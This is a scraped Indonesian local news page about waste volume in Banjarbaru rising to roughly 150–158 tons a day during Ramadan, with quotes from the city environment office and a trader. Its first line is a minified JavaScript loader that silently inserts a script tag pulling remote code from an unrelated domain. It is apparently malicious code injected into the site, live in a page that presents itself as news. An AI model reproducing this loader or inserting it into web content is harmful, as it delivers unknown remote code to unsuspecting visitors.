(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Volume Sampah di Banjarbaru Naik, Capai 150 Ton per Hari Selama Puasa


KANALKALIMANTAN.COM, BANJARBARU – Sepekan menjalani bulan puasa, produksi volume sampah di Kota Banjarbaru mengalami kenaikan cukup signifikan.

Produksi sampah di kota berjuluk Idaman sudah mencapai 150 ton per hari, naik sekitar 6 persen jika dibanding dengan hari di luar bulan puasa.

Penambahan volume sampah ini ditengarai dari bekas bungkus makanan dan minuman yang ada baik di Tempat Pembuangan Sementara (TPS) maupun di pasar wadai yang ada di Banjarbaru.

Kepala Bidang Pengolahan Sampah dan Limbah, Dinas Lingkungan Hidup Kota Banjarbaru, Pretty Wulan mencatat, saat ini kenaikan sampah di Banjarbaru sudah di angka 6 persen. Bahkan, DLH Banjarbaru menambah personel di Pasar Ramadhan Banjarbaru yang berada di lapangan dr Murdjani.

 

Baca juga: Modus Bupati Kapuas dan Istri Kongkalikong Potong Duit ASN, Senasib Langsung ‘Dibuang’ Partai 

Produksi sampah di kota berjuluk Idaman sudah mencapai 150 ton per hari, naik sekitar 6 persen jika dibanding dengan hari di luar bulan puasa. Foto: ibnu

“Ada 10 orang personel yang khusus bertugas di Pasar Ramadhan dan pengerjaannya setelah shalat subuh,” ujarnya, Rabu (29/3/2023) siang.

Hingga saat ini volume sampah di Banjarbaru, kata Pretty, menembus angka 158 ton sampah per hari yang diangkut ke Tempat Pembuangan Akhir (TPA) Gunung Kupang.

“Biasanya (sampah) di angka 145 ton, ada 8 – 10 ton penambahan per hari selama puasa ini,” bebernya.

Terkait kebersihan di pasar Ramadhan di Murdjani, kata Pretty, pada saat penjurian pemilihan event organizer (EO), DLH Banjarbaru sudah meminta dan menyosialisasikan kepada pihak EO agar menjaga kebersihan terutama dalam menangani masalah sampah.

“Untuk penyelenggara (EO) lebih perhatikan kebersihannya, terutama malam hari dan minta tolong dirapikan agar lebih mudah untuk mengambilnya,” imbaunya.

Produksi sampah di kota berjuluk Idaman sudah mencapai 150 ton per hari, naik sekitar 6 persen jika dibanding dengan hari di luar bulan puasa. Foto: ibnu

Sementara untuk masyarakat sendiri terutama yang berkunjung di pasar Ramadhan diharapkan tidak membuang sampah sembarangan dan membuang sampah pada tempat yang disediakan.

Baca juga: Bayi dalam Kardus Hebohkan Warga Jalan Ratu Zaleha Banjarmasin

Salah seorang pedagang, Diana mengaku dirinya rutin membersihkan lapaknya dan untuk sampah sendiri dibungkus dalam kantong plastik agar lebih mudah diambil.

“Ini untuk membantu kebersihan juga,” ucapnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

10 menit ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

2 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

2 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

3 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

4 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

17 jam ago

This website uses cookies.